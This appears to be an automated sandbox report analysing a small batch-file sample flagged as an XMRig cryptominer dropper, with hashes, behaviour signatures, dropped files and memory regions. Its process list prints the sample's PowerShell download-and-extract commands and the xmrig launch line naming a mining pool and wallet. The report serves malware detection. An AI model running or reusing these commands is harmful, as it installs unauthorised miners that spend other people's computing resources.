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Analysis

  • max time kernel
    1794s
  • max time network
    1799s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    22/12/2023, 08:52

General

  • Target

    tesy - Copy (9).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
    1⤵
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:316
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (9).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:508
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3792
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2824

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    c238097a4b6a009c45452a14fb73e916

    SHA1

    edc336883ec4d0067c3672983f1c905031db4c7b

    SHA256

    50510ac25f8854f57096ab84b46aa284778f9e39165fa8d830c792d0d3de9817

    SHA512

    415c9aa89638b8ddffa92b1ad737c89bcb4519304a84e411fa53e54cabf8ab0d79f75d430975bc36fe8d5f8f8a4e926f8017f6bae934cca192c431dd6e363b72

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2rhnd0bh.yut.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    6KB

    MD5

    baaf7cdd79b0033685efe792f4b737d6

    SHA1

    71f4603f67f412b37214218296d0112460bf710b

    SHA256

    1f93137ecaf288af10655b532b410a027bd81f1bfc656fe28227acc5fb475b68

    SHA512

    eebe1353b18fe16b4841e54c398f9935020904868bbffd4b3a690ded885259f08db6484514f90a24d263ae5b75e25eb97acf0637f5ec44eef489825965303fef

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    22KB

    MD5

    c6be646622ed7968b850983a0eb771d3

    SHA1

    94ff512fe4d9ebc3879f4a6d123865eb2a786d79

    SHA256

    f5c70bb31ed253c2ccbc0f26a4237fbfc18eb805ddd378d5893f962bbd2c1b05

    SHA512

    a20fdb4494a29bee3f067e80cf7b5ff4309bc2d788158fdb7f4d07ad71c4f0cd07313a34e1f9647aa1c5ec21279ff1fa8d4b2c8a6ab906f472d2ae8e0cb23d54

  • memory/316-4-0x000001DFDC000000-0x000001DFDC022000-memory.dmp

    Filesize

    136KB

  • memory/316-6-0x00007FFD7D230000-0x00007FFD7DC1C000-memory.dmp

    Filesize

    9.9MB

  • memory/316-8-0x000001DFF4230000-0x000001DFF4240000-memory.dmp

    Filesize

    64KB

  • memory/316-10-0x000001DFF4340000-0x000001DFF43B6000-memory.dmp

    Filesize

    472KB

  • memory/316-25-0x000001DFF4230000-0x000001DFF4240000-memory.dmp

    Filesize

    64KB

  • memory/316-7-0x000001DFF4230000-0x000001DFF4240000-memory.dmp

    Filesize

    64KB

  • memory/316-30-0x00007FFD7D230000-0x00007FFD7DC1C000-memory.dmp

    Filesize

    9.9MB

  • memory/2824-141-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-146-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-184-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-183-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-182-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-181-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-116-0x000002A3B9CD0000-0x000002A3B9CF0000-memory.dmp

    Filesize

    128KB

  • memory/2824-180-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-117-0x000002A3BB7E0000-0x000002A3BB800000-memory.dmp

    Filesize

    128KB

  • memory/2824-118-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-121-0x000002A3BB820000-0x000002A3BB840000-memory.dmp

    Filesize

    128KB

  • memory/2824-120-0x000002A3BB800000-0x000002A3BB820000-memory.dmp

    Filesize

    128KB

  • memory/2824-119-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-122-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-123-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-125-0x000002A3BB820000-0x000002A3BB840000-memory.dmp

    Filesize

    128KB

  • memory/2824-124-0x000002A3BB800000-0x000002A3BB820000-memory.dmp

    Filesize

    128KB

  • memory/2824-126-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-127-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-128-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-129-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-130-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-131-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-132-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-133-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-134-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-135-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-136-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-137-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-138-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-139-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-140-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-179-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-142-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-143-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-144-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-145-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-178-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-147-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-148-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-149-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-150-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-151-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-152-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-153-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-154-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-155-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-156-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-157-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-158-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-159-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-160-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-161-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-162-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-163-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-164-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-165-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-166-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-167-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-168-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-169-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-170-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-171-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-172-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-173-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-174-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-175-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-176-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2824-177-0x00007FF7E5FC0000-0x00007FF7E6AC3000-memory.dmp

    Filesize

    11.0MB

  • memory/3792-36-0x00007FFD7D230000-0x00007FFD7DC1C000-memory.dmp

    Filesize

    9.9MB

  • memory/3792-38-0x000001C575F90000-0x000001C575FA0000-memory.dmp

    Filesize

    64KB

  • memory/3792-113-0x00007FFD7D230000-0x00007FFD7DC1C000-memory.dmp

    Filesize

    9.9MB

  • memory/3792-37-0x000001C575F90000-0x000001C575FA0000-memory.dmp

    Filesize

    64KB

  • memory/3792-76-0x000001C576240000-0x000001C576252000-memory.dmp

    Filesize

    72KB

  • memory/3792-89-0x000001C575F30000-0x000001C575F3A000-memory.dmp

    Filesize

    40KB

  • memory/3792-62-0x000001C575F90000-0x000001C575FA0000-memory.dmp

    Filesize

    64KB